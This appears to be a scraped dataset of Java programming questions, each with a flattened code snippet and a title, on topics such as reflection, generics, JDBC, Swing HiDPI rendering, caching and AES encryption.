VALUE_TEXT_ANTIALIAS_LCD_HRGB just to render the font seems hacky , ugly and is not always possible ( e.g . when usuing third party libs ) . Does anyone know what is the reason behind awt not rendering such characters since 7u13 ? Are such font 's just not supported ? Or maybe this is a bug ?","public void paint ( Graphics g ) { Graphics2D g2 = ( Graphics2D ) g ; g2.setFont ( new Font ( `` myFontWithWideGlyphForX '' , Font.PLAIN , 12 ) ) ; g2.drawString ( `` XXXX '' , 10 , 10 ) ; } public void paint ( Graphics g ) { Graphics2D g2 = ( Graphics2D ) g ; g2.setRenderingHint ( RenderingHints.KEY_TEXT_ANTIALIASING , RenderingHints.VALUE_TEXT_ANTIALIAS_LCD_HRGB ) ; g2.setFont ( new Font ( `` myFontWithWideGlyphForX '' , Font.PLAIN , 12 ) ) ; g2.drawString ( `` XXXX '' , 10 , 10 ) ; }",Font glyph not rendering with Graphics2D drawString since Java 7u13 +Java,"I 'm writing a program to read data from a file , which may be in one of several format ( different versions of the same format , actually ) and I 'm using reflection for calling the appropriate function for each format . Assuming that file format is a number specified on the first byte of the file : My question is , am I abusing/misusing reflection ? I have the feeling that I should be using inheritance and create a different class for each file type with its own `` parse '' procedure , but I do n't know the file type until I start parsing ... and then I can not `` downcast '' and just use something like ( ( DataFile_v1 ) this ) .parse ( ) so I am a little lost.Thank you for your time !","Class DataFile extends Model { ... Blob file ... public void parse ( ) throws Exception { InputStream is = file.get ( ) ; Class c = Class.forName ( `` models.DataFile '' ) ; Method m = c.getMethod ( `` parse_v '' +is.read ( ) , ( Class [ ] ) null ) ; m.invoke ( this , ( Object [ ] ) null ) ; } public void parse_v0 ( ) throws Exception { ... } public void parse_v1 ( ) throws Exception { ... } }",Am I abusing/misusing Java reflection ? +Java,"I noticed a very strange thing that after changing final field via Reflection , method returning that field is all the time giving old value . I suppose this might be because of JIT compiler.Here is sample program : Result is : I am wondering , how can i make getM ( ) return updated value ?","public class Main { private static final Main m = new Main ( ) ; public static Main getM ( ) { return m ; } public static void main ( String args [ ] ) throws Exception { Main m = getM ( ) ; int x = 0 ; for ( int i = 0 ; i < 10000000 ; i++ ) { if ( getM ( ) .equals ( m ) ) x ++ ; } Field f = Main.class.getDeclaredField ( `` m '' ) ; f.setAccessible ( true ) ; removeFinal ( f ) ; Main main1 = new Main ( ) ; f.set ( null , main1 ) ; Main main2 = ( Main ) f.get ( null ) ; Main main3 = getM ( ) ; System.out.println ( main1.toString ( ) ) ; System.out.println ( main2.toString ( ) ) ; System.out.println ( main3.toString ( ) ) ; } private static void removeFinal ( Field field ) throws NoSuchFieldException , IllegalAccessException { Field modifiersField = Field.class.getDeclaredField ( `` modifiers '' ) ; modifiersField.setAccessible ( true ) ; modifiersField.setInt ( field , field.getModifiers ( ) & ~Modifier.FINAL ) ; } } Main @ 1be6f5c3Main @ 1be6f5c3Main @ 6b884d57",Change final value compiled by JIT +Java,"What I want is following : Most of the time , the generic class will be like TestBuilder < X , X > , meaning that T and O are of the same type . Therefore I create two different constructor . I want to make anonoumous new calls like new TestBuilder < > ( ... ) ( I 'm calling the < > anonoumous here ) .Following 4 constructor example exists:1 ) Working constructor calls2 ) Constructor Calls with problems or not workingQuestionIs there a way to get the 4th constructor to work ? I do n't want to be forced to give the constuctor two classes if I call it with one argument only , the second generic class should `` inherit '' from the first in this case ... Instead of having to write new TestBuilder < String , String > ( String.class ) I want to write new TestBuilder < > ( String.class ) or at least new TestBuilder < String > ( String.class ) ... ClassThis is what the test builder class looks like :","// Anonoumous , workingnew TestBuilder < > ( String.class , Integer.class ) .withOnNext ( new Action1 < Integer > ( ) { @ Override public void call ( Integer integer ) { } } ) ; // not anonoumous , classified , workingnew TestBuilder < String , String > ( String.class ) .withOnNext ( new Action1 < String > ( ) { @ Override public void call ( String string ) { } } ) ; // Anonoumous and working// PROBLEM : withOnNext is called with Object instead of Stringnew TestBuilder < > ( String.class ) .withOnNext ( new Action1 < Object > ( ) { @ Override public void call ( Object o ) { } } ) ; // Anonoumous and NOT working// this is what I want to work ! new TestBuilder < > ( String.class ) .withOnNext ( new Action1 < String > ( ) { @ Override public void call ( String string ) { } } ) ; public class TestBuilder < T , O > { public TestBuilder ( Class < T > eventClass ) { this ( eventClass , ( Class < O > ) eventClass ) ; } private TestBuilder ( Class < T > eventClass , Class < O > observableClass ) { init ( ) ; } public TestBuilder < T , O > withOnNext ( Action1 < O > actionNext ) { mActionNext = actionNext ; return this ; } }",Infer generic class type parameters from single constructor parameter +Java,"If I am writing st1=cn.createStatement ( ResultSet.TYPE_SCROLL_SENSITIVE , ResultSet.CONCUR_UPDATABLE , ResultSet.HOLD_CURSORS_OVER_COMMIT ) ; I get exception java.lang.UnsupportedOperationException.I have to use ResultSet.HOLD_CURSORS_OVER_COMMIT due to I want hold-ability after adding new record .","import javax.swing . * ; import javax.swing.event . * ; import java.awt . * ; import java.awt.event . * ; import java.sql . * ; import java.io . * ; public class Student3 extends JFrame implements ActionListener { Connection cn ; Statement st1 , st2 ; ResultSet rs ; JPanel panel1 = new JPanel ( ) ; JPanel panel2 = new JPanel ( ) ; JLabel lblNo = new JLabel ( `` Roll No `` ) ; JLabel lblName = new JLabel ( `` First Name `` ) ; JLabel lblCont = new JLabel ( `` Contect no `` ) ; JLabel lblCity = new JLabel ( `` City `` ) ; JTextField txtNo = new JTextField ( 12 ) ; JTextField txtName = new JTextField ( 12 ) ; JTextField txtCont = new JTextField ( 12 ) ; JTextField txtCity = new JTextField ( 12 ) ; JButton btnFirst = new JButton ( `` First '' ) ; JButton btnNext = new JButton ( `` Next '' ) ; JButton btnPrevious = new JButton ( `` Previous '' ) ; JButton btnLast = new JButton ( `` Last '' ) ; JButton btnAdd = new JButton ( `` Add '' ) ; JButton btnUpdate = new JButton ( `` Update '' ) ; JButton btnDelete = new JButton ( `` Delete '' ) ; JButton btnExit = new JButton ( `` Exit '' ) ; Student3 ( ) { try { panel1.setLayout ( new GridBagLayout ( ) ) ; GridBagConstraints c = new GridBagConstraints ( ) ; //c.fill=GridBagConstraints.BOTH ; c.gridwidth=2 ; c.gridx=0 ; c.gridy=0 ; panel1.add ( lblNo , c ) ; c.gridx=2 ; c.gridy=0 ; panel1.add ( txtNo , c ) ; c.gridx=0 ; c.gridy=1 ; panel1.add ( lblName , c ) ; c.gridx=2 ; c.gridy=1 ; panel1.add ( txtName , c ) ; c.gridx=0 ; c.gridy=2 ; panel1.add ( lblCont , c ) ; c.gridx=2 ; c.gridy=2 ; panel1.add ( txtCont , c ) ; c.gridx=0 ; c.gridy=3 ; panel1.add ( lblCity , c ) ; c.gridx=2 ; c.gridy=3 ; panel1.add ( txtCity , c ) ; c.fill=GridBagConstraints.BOTH ; //c.gridwidth=1 ; c.gridx=0 ; c.gridy=5 ; panel1.add ( btnFirst , c ) ; c.gridwidth=1 ; c.gridx=2 ; c.gridy=5 ; panel1.add ( btnNext , c ) ; c.gridx=3 ; c.gridy=5 ; panel1.add ( btnPrevious , c ) ; c.gridx=4 ; c.gridy=5 ; panel1.add ( btnLast , c ) ; c.gridwidth=2 ; c.gridx=0 ; c.gridy=6 ; panel1.add ( btnAdd , c ) ; c.gridwidth=1 ; c.gridx=2 ; c.gridy=6 ; panel1.add ( btnUpdate , c ) ; c.gridx=3 ; c.gridy=6 ; panel1.add ( btnDelete , c ) ; c.gridx=4 ; c.gridy=6 ; panel1.add ( btnExit , c ) ; getContentPane ( ) .add ( panel1 ) ; btnFirst . addActionListener ( this ) ; btnLast . addActionListener ( this ) ; btnNext . addActionListener ( this ) ; btnPrevious . addActionListener ( this ) ; btnAdd . addActionListener ( this ) ; btnUpdate . addActionListener ( this ) ; btnDelete . addActionListener ( this ) ; btnExit . addActionListener ( this ) ; Class.forName ( `` sun.jdbc.odbc.JdbcOdbcDriver '' ) ; //Load the JDBC-ODBC bridge driver cn = DriverManager.getConnection ( `` jdbc : odbc : STUDENT_DSN '' ) ; //Connection to database is done //st1=cn.createStatement ( ResultSet.TYPE_SCROLL_SENSITIVE , ResultSet.CONCUR_UPDATABLE ) ; st1=cn.createStatement ( ResultSet.TYPE_SCROLL_SENSITIVE , ResultSet.CONCUR_UPDATABLE , ResultSet.HOLD_CURSORS_OVER_COMMIT ) ; //cn.setHoldability ( ResultSet.HOLD_CURSORS_OVER_COMMIT ) ; //st1.setFetchSize ( 25 ) ; st2=cn.createStatement ( ResultSet.TYPE_SCROLL_SENSITIVE , ResultSet.CONCUR_UPDATABLE ) ; String query = `` select * from Student '' ; rs=st1.executeQuery ( query ) ; rs.first ( ) ; getRecord ( ) ; } catch ( Exception e ) { System.out.println ( e ) ; } } public static void main ( String [ ] args ) { Student3 my =new Student3 ( ) ; my.setTitle ( `` Java Database Operation.. '' ) ; my.setVisible ( true ) ; my.setResizable ( false ) ; my.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; my.setBounds ( 200,250,300,175 ) ; } void getRecord ( ) { try { txtNo.setText ( rs.getObject ( 1 ) .toString ( ) ) ; txtName.setText ( rs.getObject ( 2 ) .toString ( ) ) ; txtCont.setText ( rs.getObject ( 3 ) .toString ( ) ) ; txtCity.setText ( rs.getObject ( 4 ) .toString ( ) ) ; } catch ( Exception ex ) { System.out.println ( ex ) ; } } public void actionPerformed ( ActionEvent e ) { try { Object obj = e.getSource ( ) ; if ( obj == btnFirst ) { rs.first ( ) ; getRecord ( ) ; } if ( obj == btnLast ) { rs.last ( ) ; getRecord ( ) ; } if ( obj == btnNext ) { rs.next ( ) ; if ( ! rs.isAfterLast ( ) ) { getRecord ( ) ; } else { rs.previous ( ) ; } } if ( obj == btnPrevious ) { rs.previous ( ) ; if ( ! rs.isBeforeFirst ( ) ) { getRecord ( ) ; } else { rs.next ( ) ; } } if ( obj == btnAdd ) { String name=txtName.getText ( ) ; String cont=txtCont.getText ( ) ; String city=txtCity.getText ( ) ; String query= '' insert into Student ( sName , sCont , sCity ) values ( ' '' +name+ '' ' , ' '' +cont+ '' ' , ' '' +city+ '' ' ) '' ; st2.executeUpdate ( query ) ; query = `` select * from Student '' ; rs=st1.executeQuery ( query ) ; rs.last ( ) ; } if ( obj == btnUpdate ) { int no =Integer.parseInt ( txtNo.getText ( ) ) ; //System.out.println ( no ) ; String new_name=txtName.getText ( ) ; String new_cont=txtCont.getText ( ) ; String new_city=txtCity.getText ( ) ; String query= '' update Student set sName = ' '' +new_name+ '' ' , sCont = ' '' +new_cont+ '' ' , sCity = ' '' +new_city+ '' ' where sNo = `` +no+ '' `` ; st2.executeUpdate ( query ) ; } if ( obj == btnDelete ) { int no =Integer.parseInt ( txtNo.getText ( ) ) ; String query= '' delete from Student where sNo = `` +no+ '' `` ; st2.executeUpdate ( query ) ; } if ( obj == btnExit ) { System.exit ( 0 ) ; } } catch ( Exception ex ) { System.out.println ( ex ) ; } } }",The program throws java.lang.UnsupportedOperationException in Java +Java,"I 've noticed that Printing the current value of a variable kills performance . I want to print it once in a while , but keep the cost of this operation low . How to compare the cost of printing to screen to computation ? Are there any tricks to minimize this cost [ Should I print one out of 10 records , or will this cost just as much because of conditional check ] ? Why do I need this ? Well , I am doing fun stuff with Java ( such as `` find a counterexample for Euler 's conjuncture ... 27^5 + 84^5 + 110^5 + 133^5 = 144^5 ( Lander & Parkin , 1966 ) , '' ) . I want to write a program that is both correct and fast ( this counterexample was discovered in 60s , so I should be able to do it in reasonable time ) . While debugging I want to have as much info and possible and I want to find the counterexample asap . What is my best way to proceed ? Print each case ? - Too slow . Let it run overnight ? What if I missed some i++ ?",int i=10000000 ; boolean isPrime= false ; while ( ! isPrime ) { i++ ; System.out.println ( item ) ; //this kills performance isPrime = checkIfPrime ( i ) ; } },'Rule of a thumb ' for cost of printing +Java,"I wonder , how to efficiently compute the hashCode for a BitSet-like implementation of Set < Integer > .The BitSet # hashCode is obviously fast to compute , rather stupid ( * ) and incompatible with Set # hashCode ( ) .A fast compatible implementation could go likeif there was an efficient implementation ofIn case most bits are unset , the naive implementation could be improved by testing word==0 or using Long.highestOneBit or alike , but these tricks do n't help much and are detrimental in other cases.Is there a clever trick to significantly speed it up in general ? I guess , some batch computation over multiple words could be more efficient . Computing Set # size at the same time would be a nice bonus.A note concerning premature optimization : Yes , I know . I 'm mostly curious ( and it can be useful for things like Project Euler ) . ( * ) There are many bits which gets completely ignored ( they get shifted out in the multiplication ) .",int hashCode ( ) { int result = 0 ; for ( int i=0 ; i < bits.length ; ++i ) { long word = bits [ i ] ; result += 64 * i * Long.bitCount ( word ) + weightedBitCount ( word ) ; } return result ; } int weightedBitCount ( long word ) { // naive implementation int result = 0 ; for ( int i=0 ; i < 64 ; ++i ) { if ( ( word & ( 1L < < i ) ) ! = 0 ) { result += i ; } } return result ; },Efficiently compute the hashCode for a BitSet-like implementation of Set < Integer > +Java,Please can you explain the below behaviour.Output on jdk 6why a==b is false and i==j not false ?,public class EqAndRef { public static void main ( String [ ] args ) { Integer i = 10 ; Integer j = 10 ; Double a = 10D ; Double b = 10D ; System.out.println ( i.equals ( j ) ) ; System.out.println ( i == j ) ; System.out.println ( a.equals ( b ) ) ; System.out.println ( a == b ) ; } } truetruetruefalse,In java equal and == behaviour +Java,I ca n't find any information on org.w3c.dom.ls.LSParser . I know it is an interface but there is an on only way to get a concrete object afaik.How is LSParser different from javax.xml.parsers.DocumentBuilder ( or SAXParser ),"DOMImplementationLS factory = ( DOMImplementationLS ) myXMLDocument.getImplementation ( ) ; LSParser parser = factory.createLSParser ( DOMImplementationLS.MODE_ASYNCHRONOUS , null ) ;",Java : What is the difference between LSParser and DocumentBuilder +Java,"I want to call an abstract method , generateId ( ) , in the constructor of an abstract super class , where this abstract method depends on some fields of the respective subclasses . Consider the following pieces of code for clarity : Abstract class : SuperClassSubclass : Sub1Subclass : Sub2However , the subclass constructors wo n't work because the super ( ) ; must be the first statement in a constructor.OTOH , if I make super ( ) ; the first statement in the constructors of the subclasses , then I wo n't be able to call generateId ( ) in SuperClass . Because generateId ( ) uses fields in subclasses , where these fields must be initialized before being used.The only way to `` solve '' this problem appears to me : Remove the call to generateId ( ) in the superclass . Place a call to generateId ( ) at the end of constructors of each subclass . But this results in code duplication.So is there any way to solve this problem without duplicating my code ? ( That is , without calling generateId ( ) at the end of constructors of each subclass ? )",public abstract class SuperClass { protected String id ; public SuperClass ( ) { generateId ( ) ; } protected abstract void generateId ( ) ; } public class Sub1 extends SuperClass { private SomeType fieldSub1 ; public Sub1 ( SomeType fieldSub1 ) { this.fieldSub1 = fieldSub1 ; super ( ) ; } protected void generateId ( ) { // Some operations that use fieldSub1 } } public class Sub2 extends SuperClass { private SomeOtherType fieldSub2 ; public Sub2 ( SomeOtherType fieldSub2 ) { this.fieldSub2 = fieldSub2 ; super ( ) ; } protected void generateId ( ) { // Some operations that use fieldSub2 } },How to write subclass constructors without duplicating your code ? +Java,"In my Java application I define a ScheduleService like this : When I trigger the application from IntelliJ it works fine and tick ( ) runs every second . When the application is packaged as an .exe using the JavaFX Packager , the service is never started.The state of the server after I run .start ( ) in all cases is SCHEDULED . Any ideas what else might be going on ? Could something be preventing the creation of threads ? Or maybe it 's not switching between various threads ? The documentation for ScheduledService says ( emphasis mine ) : Timing for this class is not absolutely reliable . A very busy event thread might introduce some timing lag into the beginning of the execution of the background Task , so very small values for the period or delay are likely to be inaccurate . A delay or period in the hundreds of milliseconds or larger should be fairly reliable.Is it possible there 's some issue with the event thread ? Is there a way to inspect it ? After calling start ( ) , scheduleService.getExecutor ( ) returns null . Is that expected ? I tried setting my own executor defined this way : and then I print it out before and after calling start . Before it looks like this : and afterwards : So , it is claiming there 's an active thread , even though it does n't seem to be active at all.Update : I removed the mention of a screensaver because I manage to reproduce the issue as a simple .exe but I still have the problem that the problem does n't happen when running it from IntelliJ , it only happens when packaged as an .exe .","ScheduledService < Void > scheduledService = new ScheduledService < Void > ( ) { @ Override protected Task < Void > createTask ( ) { return new Task < Void > ( ) { @ Override protected Void call ( ) { tick ( ) ; return null ; } } ; } } ; scheduledService.setPeriod ( new javafx.util.Duration ( TICK_PERIOD.toMillis ( ) ) ) ; scheduledService.start ( ) ; BlockingQueue < Runnable > blockingQueue = new LinkedBlockingQueue < > ( ) ; ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor ( 32 , Integer.MAX_VALUE , 1000 , TimeUnit.MILLISECONDS , blockingQueue ) ; scheduledService.setExecutor ( threadPoolExecutor ) ; java.util.concurrent.ThreadPoolExecutor @ 4d97d155 [ Running , pool size = 0 , active threads = 0 , queued tasks = 0 , completed tasks = 0 ] java.util.concurrent.ThreadPoolExecutor @ 4d97d155 [ Running , pool size = 1 , active threads = 1 , queued tasks = 0 , completed tasks = 0 ]",What could cause a Java ScheduleService to not run ? +Java,"I 'm importing JellyRefreshLayout as modul ( for some updates ) check this link : https : //github.com/allan1st/JellyRefreshLayoutbut I always get this gradle build error : Information : Gradle tasks [ : app : generateDebugSources , project gradle build : App gradle : Library model : Note : my project JDK selection and Default JDK is : /Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/HomePlease Advice ! Thanks !",": app : mockableAndroidJar , : app : prepareDebugUnitTestDependencies , : app : generateDebugAndroidTestSources , : jellyrefresh : generateDebugSources , : jellyrefresh : mockableAndroidJar , : jellyrefresh : prepareDebugUnitTestDependencies , : jellyrefresh : generateDebugAndroidTestSources ] extractDebugAnnotations is incompatible with java 8 sources and has been disabled.extractReleaseAnnotations is incompatible with java 8 sources and has been disabled . : jellyrefresh : incrementalReleaseJavaCompilationSafeguard UP-TO-DATE : jellyrefresh : compileReleaseJavaWithJavac UP-TO-DATE : jellyrefresh : compileRetrolambdaRelease FAILEDError : Execution failed for task ' : jellyrefresh : compileRetrolambdaRelease'. > Could not resolve all dependencies for configuration ' : jellyrefresh : retrolambdaConfig ' . > Could not resolve net.orfjackal.retrolambda : retrolambda:2.0.3 . Required by : JellyRefreshLayout-master : jellyrefresh : unspecified > No cached version of net.orfjackal.retrolambda : retrolambda:2.0.3 available for offline mode . > No cached version of net.orfjackal.retrolambda : retrolambda:2.0.3 available for offline mode . // Top-level build file where you can add configuration options common to all sub-projects/modules.buildscript { repositories { jcenter ( ) mavenCentral ( ) } dependencies { classpath 'com.android.tools.build : gradle:2.1.3 ' classpath 'me.tatarka : gradle-retrolambda:3.2.0 ' } } allprojects { repositories { jcenter ( ) } } apply plugin : 'com.android.application'android { compileSdkVersion 23 buildToolsVersion `` 23.0.2 '' defaultConfig { applicationId `` uk.co.imallan.jellyrefreshlayout '' minSdkVersion 19 targetSdkVersion 22 versionCode 1 versionName `` 1.0 '' } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.pro ' } } } dependencies { compile fileTree ( dir : 'libs ' , include : [ '*.jar ' ] ) compile 'com.android.support : appcompat-v7:23.3.0 ' compile project ( `` : jellyrefresh '' ) } repositories { mavenCentral ( ) } apply plugin : 'com.android.library'apply plugin : 'me.tatarka.retrolambda'android { compileSdkVersion 23 buildToolsVersion `` 23.0.2 '' defaultConfig { minSdkVersion 19 targetSdkVersion 22 versionCode 1 versionName `` 1.0 '' } compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } } dependencies { compile fileTree ( dir : 'libs ' , include : [ '*.jar ' ] ) compile 'com.android.support : appcompat-v7:23.3.0 ' }",Import new Android module failure for JellyRefreshLayout module +Java,"I 'm migrating my Swing app to Java 11 to take advantage of the HiDPI display support . I 'm using a Samsung monitor with resolution set to 3840x2160 , scaling at 125 % , with Windows 10.Although java 9 and above are advertised as properly handling HiDPI scaling , when displaying a simple JTable , the gridlines appear of different thickness , as shown here : Here 's the code for this : However , when setting the Nimbus L & F , the problem goes away : How can I achieve the same with the default Windows L & F ? ( Same behavior is observed with java 9 & 10 )","import javax.swing . * ; public class TestTable { public static void main ( String [ ] args ) { new TestTable ( ) ; } public TestTable ( ) { JTable table = new JTable ( 12,6 ) ; JDialog dialog = new JDialog ( ) ; JScrollPane sp = new JScrollPane ( table ) ; table.setShowGrid ( true ) ; table.setRowHeight ( 25 ) ; dialog.setContentPane ( sp ) ; dialog.setSize ( 300,300 ) ; dialog.setVisible ( true ) ; dialog.setLocationRelativeTo ( null ) ; } } import javax.swing . * ; public class TestTable { public static void main ( String [ ] args ) { try { for ( LookAndFeelInfo info : UIManager.getInstalledLookAndFeels ( ) ) { if ( `` Nimbus '' .equals ( info.getName ( ) ) ) { UIManager.setLookAndFeel ( info.getClassName ( ) ) ; break ; } } } catch ( Exception e ) { } new TestTable ( ) ; } public TestTable ( ) { JTable table = new JTable ( 12,6 ) ; JDialog dialog = new JDialog ( ) ; JScrollPane sp = new JScrollPane ( table ) ; table.setShowGrid ( true ) ; table.setRowHeight ( 25 ) ; dialog.setContentPane ( sp ) ; dialog.setSize ( 300,300 ) ; dialog.setVisible ( true ) ; dialog.setLocationRelativeTo ( null ) ; } }","HiDPI support with java 9+ , scalling issue with JTable gridlines with Windows L & F - but not Nimbus" +Java,"I was given code that uses the dateTimeFormat function . The original developer used a mask of `` MM-HH-YY-dd-NN '' . This code works on his machine . And it works on our test server . But it does not work on my local machine . I can only make it work when I change the mask to `` MM-HH-yy-dd-NN '' ; Note the difference here is the upper case `` YY '' and the lower case `` yy '' In looking at the documentation at https : //wikidocs.adobe.com/wiki/display/coldfusionen/DateTimeFormat it looks like lower case yy is the officially supported way of doing things.Does anyone know why YY would be supported in some situations and not others ? I suspect it may be some localization code somewhere , but I 'm not finding any differences in my CF admin and the one on the test server . Is there something I can do on my machine to make the YY work ? My machine is a Windows 7 VM running on Mac while the server is a Windows server 2008.My JVM is 1.6.0_29 while the server is running 1.7.0 Are these differences sufficient to explain the issue ? Here is some simple code for test : It looks like the problem is in the underlying Java version . The error I get is :","< cfscript > testTime=now ( ) ; lowermask= `` MM-HH-yy-dd-NN '' ; uppermask= `` MM-HH-YY-dd-NN '' ; result = { lower=dateTimeFormat ( testTime , lowermask ) , upper=dateTimeFormat ( testTime , uppermask ) } ; writedump ( result ) ; < /cfscript > java.lang.IllegalArgumentException : Illegal pattern character ' Y ' at java.text.SimpleDateFormat.compile ( SimpleDateFormat.java:768 ) at java.text.SimpleDateFormat.initialize ( SimpleDateFormat.java:575 ) at java.text.SimpleDateFormat. < init > ( SimpleDateFormat.java:500 ) at coldfusion.util.DateUtils.getCFDateTimeFormat ( DateUtils.java:673 ) at coldfusion.util.DateUtils.formatDateTime ( DateUtils.java:942 ) at coldfusion.runtime.CFPage.LSDateTimeFormat ( CFPage.java:1750 ) at coldfusion.runtime.CFPage.LSDateTimeFormat ( CFPage.java:1742 ) at coldfusion.runtime.CFPage.DateTimeFormat ( CFPage.java:1722 ) at cftemp2ecfm333879290.runPage ( C : \inetpub\wwwroot\temp.cfm:7 ) at coldfusion.runtime.CfJspPage.invoke ( CfJspPage.java:244 ) at coldfusion.tagext.lang.IncludeTag.doStartTag ( IncludeTag.java:444 ) at coldfusion.filter.CfincludeFilter.invoke ( CfincludeFilter.java:65 ) at coldfusion.filter.IpFilter.invoke ( IpFilter.java:64 ) at coldfusion.filter.ApplicationFilter.invoke ( ApplicationFilter.java:449 ) at coldfusion.filter.MonitoringFilter.invoke ( MonitoringFilter.java:40 ) at coldfusion.filter.PathFilter.invoke ( PathFilter.java:112 ) at coldfusion.filter.ExceptionFilter.invoke ( ExceptionFilter.java:94 ) at coldfusion.filter.BrowserDebugFilter.invoke ( BrowserDebugFilter.java:79 ) at coldfusion.filter.ClientScopePersistenceFilter.invoke ( ClientScopePersistenceFilter.java:28 ) at coldfusion.filter.BrowserFilter.invoke ( BrowserFilter.java:38 ) at coldfusion.filter.NoCacheFilter.invoke ( NoCacheFilter.java:58 ) at coldfusion.filter.GlobalsFilter.invoke ( GlobalsFilter.java:38 ) at coldfusion.filter.DatasourceFilter.invoke ( DatasourceFilter.java:22 ) at coldfusion.filter.CachingFilter.invoke ( CachingFilter.java:62 ) at coldfusion.CfmServlet.service ( CfmServlet.java:219 ) at coldfusion.bootstrap.BootstrapServlet.service ( BootstrapServlet.java:89 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:305 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:210 ) at coldfusion.monitor.event.MonitoringServletFilter.doFilter ( MonitoringServletFilter.java:42 ) at coldfusion.bootstrap.BootstrapFilter.doFilter ( BootstrapFilter.java:46 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:243 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:210 ) at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:224 ) at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:169 ) at org.apache.catalina.authenticator.AuthenticatorBase.invoke ( AuthenticatorBase.java:472 ) at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:168 ) at org.apache.catalina.valves.ErrorReportValve.invoke ( ErrorReportValve.java:98 ) at org.apache.catalina.valves.AccessLogValve.invoke ( AccessLogValve.java:928 ) at org.apache.catalina.core.StandardEngineValve.invoke ( StandardEngineValve.java:118 ) at org.apache.catalina.connector.CoyoteAdapter.service ( CoyoteAdapter.java:414 ) at org.apache.coyote.ajp.AjpProcessor.process ( AjpProcessor.java:204 ) at org.apache.coyote.AbstractProtocol $ AbstractConnectionHandler.process ( AbstractProtocol.java:539 ) at org.apache.tomcat.util.net.JIoEndpoint $ SocketProcessor.run ( JIoEndpoint.java:298 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.runTask ( ThreadPoolExecutor.java:886 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:908 ) at java.lang.Thread.run ( Thread.java:662 )",Valid mask patterns for dateTimeFormat +Java,"While learning java through an online course , I came across type conversions using helper classes . Eg : However they does n't explain how can I find the methods like do.intvalue ( ) if I am unaware of the existing methods . In Python , I can do a dir ( do ) and it would list all the methods . How can I check the same in Java ?",double d = 5.99 ; double do = new Double ( d ) ; int i = do.intvalue ( ) ;,What is the alternate of python 's dir ( ) in Java ? +Java,"I use ehcache in a webapp whose versions are deployed in parallel on a Tomcat instance . This is a handy way to deploy new versions without stopping an application.I however have a problem with this way to proceed : even if I give the cache and disk store different names , depending on the versions of the webapp , all caches are stopped when stopping one instance.My config is : $ { project.version } and $ { buildNumber } being replaced by maven during the build process.Does someone know how to avoid this unwanted behaviour ? I am using ehcache-core-2.4.3 and hibernate-ehcache-4.3.8 .",< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ehcache xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : noNamespaceSchemaLocation= '' ehcache.xsd '' name= '' mywebapp- $ { project.version } _build_ $ { buildNumber } '' > < defaultCache maxElementsInMemory= '' 1000 '' maxElementsOnDisk= '' 10000 '' eternal= '' false '' timeToLiveSeconds= '' 300 '' timeToIdleSeconds= '' 300 '' overflowToDisk= '' true '' diskPersistent= '' false '' memoryStoreEvictionPolicy= '' LRU '' statistics= '' true '' / > < cache maxElementsInMemory= '' 1000 '' maxElementsOnDisk= '' 10000 '' name= '' org.hibernate.cache.internal.StandardQueryCache '' eternal= '' false '' timeToLiveSeconds= '' 300 '' timeToIdleSeconds= '' 300 '' overflowToDisk= '' true '' diskPersistent= '' false '' statistics= '' true '' / > < cache name= '' org.hibernate.cache.spi.UpdateTimestampsCache '' maxElementsInMemory= '' 10000 '' maxElementsOnDisk= '' 100000 '' timeToLiveSeconds= '' 300 '' timeToIdleSeconds= '' 300 '' eternal= '' false '' overflowToDisk= '' true '' diskPersistent= '' false '' statistics= '' true '' / > < cache name= '' query.Presences '' maxElementsInMemory= '' 100 '' maxElementsOnDisk= '' 1000 '' eternal= '' false '' timeToLiveSeconds= '' 300 '' timeToIdleSeconds= '' 300 '' overflowToDisk= '' true '' diskPersistent= '' false '' statistics= '' true '' / > < diskStore path= '' java.io.tmpdir/mywebapp- $ { project.version } _build_ $ { buildNumber } '' / > < /ehcache >,Caches of all versions of a webapp deployed in parallel are shutdowned +Java,"I got this code from http : //www.ravenblast.com/index.php/blog/android-password-text-encryption/ and , although it works , I have a growing suspicion it 's not secure enough . There is n't any initialization vector which seems to be necessary according other sources .","public static String encrypt ( String toEncrypt , byte [ ] key ) throws Exception { SecretKeySpec skeySpec = new SecretKeySpec ( key , `` AES '' ) ; Cipher cipher = Cipher.getInstance ( `` AES '' ) ; cipher.init ( Cipher.ENCRYPT_MODE , skeySpec ) ; byte [ ] encryptedBytes = cipher.doFinal ( toEncrypt.getBytes ( ) ) ; String encrypted = Base64.encodeBytes ( encryptedBytes ) ; return encrypted ; } public static String decrypt ( String encryptedText , byte [ ] key ) throws Exception { SecretKeySpec skeySpec = new SecretKeySpec ( key , `` AES '' ) ; Cipher cipher = Cipher.getInstance ( `` AES '' ) ; cipher.init ( Cipher.DECRYPT_MODE , skeySpec ) ; byte [ ] toDecrypt = Base64.decode ( encryptedText ) ; byte [ ] encrypted = cipher.doFinal ( toDecrypt ) ; return new String ( encrypted ) ; }",Is this AES encryption secure enough ? +Java,"I 've a program that goes something like thisBasically , I 've a few threads with their own local counters , and I 'm doing this ( in a loop ) And this should all be fine and dandy , but it turns out this does n't scale quite well . On a 16 physical nodes cluster , speedup after 6-8 threads is negligible , so I have to get rid of one of the awaits . I 've tried with CyclicBarrier , which scales awfully , Semaphores , which do as much , and a custom library ( jbarrier ) that works great until there 's more threads than physical cores , at which point it performs worse than the sequential version . But I just ca n't come up with a way of doing this without stopping all threads twice.EDIT : while I appreciate all and any insight you might have concerning any other possible bottlenecks in my program , I 'm looking for an answer concerning this particular issue . I can provide a more specific 